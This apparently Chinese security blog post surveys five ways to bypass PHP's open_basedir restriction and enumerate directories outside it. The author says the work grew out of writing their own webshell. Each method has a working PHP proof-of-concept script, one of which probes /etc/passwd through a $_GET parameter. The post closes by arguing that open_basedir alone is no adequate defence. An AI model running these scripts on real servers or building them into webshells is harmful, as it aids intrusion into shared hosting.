近期由于在開發自己的webshell,所以對PHP一些已有的漏洞進行了一定的研究,并且也自己發現了部分PHP存在的安全隱患。這篇文章我來與大家分享一下自己對于PHP中open_basedir繞過并列舉目錄的方法總結。
Open_basedir是PHP設置中為了防御PHP跨目錄進行文件(目錄)讀寫的方法,所有PHP中有關文件讀、寫的函數都會經過open_basedir的檢查。
Open_basedir實際上是一些目錄的集合,在定義了open_basedir以后,php可以讀寫的文件、目錄都將被限制在這些目錄中。
設置open_basedir的方法,在linux下,不同的目錄由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目錄由“;”分割,如“c:/www;c:/windows/temp”。
在現在這個各種云、虛擬主機橫行的時期,人們希望open_basedir作為一個橫亙在不同用戶之間的屏障,有力地保障用戶的主機能獨立運行,但事實并非人們想象的那么簡單。
我們這篇文章著重講的將是繞過open_basedir進行目錄的列舉與遍歷,為何我們不說具體文件的讀、寫,因為文件讀寫的洞是危害比較大的漏洞了,在php5.3以后很少有能夠繞過open_basedir讀寫文件的方法。
這是@/fd 腳本(http://zone.wooyun.org/content/11268)里給出的第一個方法。
DirectoryIterator 是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。
glob: 數據流包裝器是從 PHP 5.3.0 起開始有效的,用來查找匹配的文件路徑。
結合這兩個方式,我們就可以在php5.3以后對目錄進行列舉。在實測中,我們得知,此方法在Linux下列舉目錄居然可以無視open_basedir。
示例代碼:
#!php
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
執行我們可以發現,open_basedir為/usr/share/nginx/www/:/tmp/,但我們成功列舉了/根目錄下的所有文件:
這個方法也是迄今為止最方便的方法,他不用暴力猜解目錄,而是直接列舉。但他對php版本、系統版本有一定要求,在5.3以上可列舉(5.5/5.6可能會有修復?在官方沒看到有fix),需要在Linux下才能繞過open_basedir。
這是@/fd 腳本(http://zone.wooyun.org/content/11268)里給出的第二個方法。
Realpath函數是php中將一個路徑規范化成為絕對路徑的方法,它可以去掉多余的../或./等跳轉字符,能將相對路徑轉換成絕對路徑。
在開啟了open_basedir以后,這個函數有個特點:當我們傳入的路徑是一個不存在的文件(目錄)時,它將返回false;當我們傳入一個不在open_basedir里的文件(目錄)時,他將拋出錯誤(File is not within the allowed path(s))。
所以我們可以通過這個特點,來進行目錄的猜解。舉個例子,我們需要猜解根目錄(不在open_basedir中)下的所有文件,只用寫一個捕捉php錯誤的函數err_handle()。當猜解某個存在的文件時,會因拋出錯誤而進入err_handle(),當猜解某個不存在的文件時,將不會進入err_handle()。
那么由此我們來算算效率。假如一個文件名長度為6位(如config、passwd等全小寫不帶數字)的文件,我們最差需要枚舉多少次才能猜測到他是否存在:
26 ** 6 = 308915776次
這樣是需要跑很久的,基本每次跑的時候我都沒耐心了,這樣暴力猜解肯定是不行的。那么,有什么好辦法可以變這個“雞肋”的漏洞為一個“好用”的漏洞?
熟悉Windows + PHP的同學應該還記得Windows下有兩個特殊的通配符:<、>
對,我們這里就借用這些通配符的力量來列舉目錄。寫個簡單的POC來列舉一下:
#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
首先設置open_basedir為當前目錄,并枚舉d:/test/目錄下的所有文件。將錯誤處理交給isexists函數,在isexists函數中匹配出目錄名稱,并打印出來。
執行可以看到:
Open_basedir為c:\wamp\www,但我們列舉出了d:/test/目錄下的文件:
當然,這是個很粗糙的POC,因為我并沒有考慮到首字母相同的文件,所以這個POC只能列舉首字母不同的文件。
如果首字母相同,我們只需要再枚舉第二個字符、第三個字符依次類推,即可列舉出目錄中所有文件。
這個方法好處是windows下php所有版本通用,當然壞處就是只有windows下才能使用通配符,如果是linux下就只能暴力猜解了。
受到上一個方法的啟發,我開始在php中尋找類似的方法。一旦realpath不能使用的情況下,也能找到替代方式。
我找到了新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#1 ,使用的方式是SplFileInfo::getRealPath。
SplFileInfo類是PHP5.1.2之后引入的一個類,提供一個對文件進行操作的接口。其中有一個和realpath名字很像的方法叫getRealPath。
這個方法功能和realpath類似,都是獲取絕對路徑用的。我們在SplFileInfo的構造函數中傳入文件相對路徑,并且調用getRealPath即可獲取文件的絕對路徑。
這個方法有個特點:完全沒有考慮open_basedir。在傳入的路徑為一個不存在的路徑時,會返回false;在傳入的路徑為一個存在的路徑時,會正常返回絕對路徑。
我們的realpath函數還是考慮了open_basedir,只是在報錯上沒有考慮周全導致我們能夠判斷某個文件是否存在。但我們可愛的SplFileInfo::getRealPath方法是直接沒有考慮open_basedir,就能夠判斷一個文件是否存在。
那么,我給出一個POC:
#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
?>
只是把之前的POC稍作修改,同樣列出了D:/test下的文件:
這個方法有個特點,不管是否開啟open_basedir都是可以枚舉任意目錄的。而上一個方法(realpath)只有在開啟open_basedir且在open_basedir外的時候才會報錯,才能列舉目錄。當然,沒有開啟open_basedir的時候也不需要這樣列舉目錄了。
GD庫一般是PHP必備的擴展庫之一,所以我在尋找open_basedir的時候也會看看這些有用的擴展庫。
這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄之3
我拿imageftbbox舉個例子,這個函數第三個參數是字體的路徑。我發現當這個參數在open_basedir外的時候,當文件存在,則php會拋出“File(xxxxx) is not within the allowed path(s)”錯誤。但當文件不存在的時候會拋出“Invalid font filename”錯誤。
也就是說,我們可以通過拋出錯誤的具體內容來判斷一個文件是否存在。這個方法和realpath有相似性,都會拋出open_basedir的錯誤。
我也修改了個簡單的POC:
#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>
同樣列舉一下d:/test
如上圖,我們發現雖然“通配符”在判斷是否存在的時候奏效了,但我們真正的文件名并沒有顯示出來,而是還是以通配符“<><”代替。
所以,這個方法報錯的時候并不會把真正的路徑爆出來,這也是其與realpath的最大不同之處。所以,我們只能一位一位地猜測,但總體來說,還是能夠猜測出來的,只不過可能比realpath更麻煩一些罷了。
這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#2
bindtextdomain是php下綁定domain到某個目錄的函數。具體這個domain是什么我也沒具體用過,只是在一些l10n應用中可能用到的方法(相關函數textdomain、gettext、setlocale,說明:http://php.net/manual/en/function.gettext.php)
Bindtextdomain函數在環境支持Gettext Functions的時候才能使用,而我的windows環境下是沒有bindtextdomain函數的,我的linux環境是默認存在這個函數。
如上圖,這個函數第二個參數$directory是一個文件路徑。它會在$directory存在的時候返回$directory,不存在則返回false。
寫個簡單的測試代碼:
#!php
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
當/etc/passwd存在的時候輸出之:
當/etc/wooyun不存在的時候返回false:
并沒有考慮到open_basedir。所以,我們也可以通過返回值的不同來猜解、列舉某個目錄。
但很大的雞肋點在,windows下默認是沒有這個函數的,而在linux下不能使用通配符進行目錄的猜解,所以顯得很雞肋。
當然,在萬無退路的時候進行暴力猜解目錄,也不失為一個還算行的方法。
open_basedir本來作為php限制跨目錄讀寫文件的最基礎的方式,應該需要進行完好的設計。但可能php在當初編寫代碼的時候并沒有進行一個統一的設計,導致每當新增加功能或遇到一些偏僻的函數的時候,都會出現類似“open_basedir繞過”等悲劇。
我曾經寫過一篇文章,《lnmp虛擬主機安全配置研究》,中講述了一個防止虛擬主機跨目錄的方法。但受到了一些白帽子的質疑:
原因是很多人過于相信open_basedir的可靠性。open_basedir固然是一個簡單地限制跨目錄的方法,但如果過于依賴某一個方法去防御一類攻擊,你將會死的很慘。
open_basedir繞過方法固然有版本局限,但不排除有很多人手中握著0day。像我這樣對php造詣并不算高的菜鳥也能找到的open_basedir繞過漏洞,你真的能保證大牛們都沒有辦法繞過么?
我當然更能相信linux/windows等操作系統自帶的權限控制機制,也不會單單相信open_basedir真的能幫我防御什么。
By the way,我上面提到的這些方法,基本都還沒有在php的最新版修復(甚至是我自己發現的“0day”),也就是說還真的有這么多通用的方法可以繞過open_basedir。
估計又會有人質疑了,光繞過open_basedir列目錄有什么用?
誠然,列目錄相比于讀、寫具體文件,都雞肋了很多。但很多時候,就是這些看似“雞肋”的漏洞組合技完成了絕殺。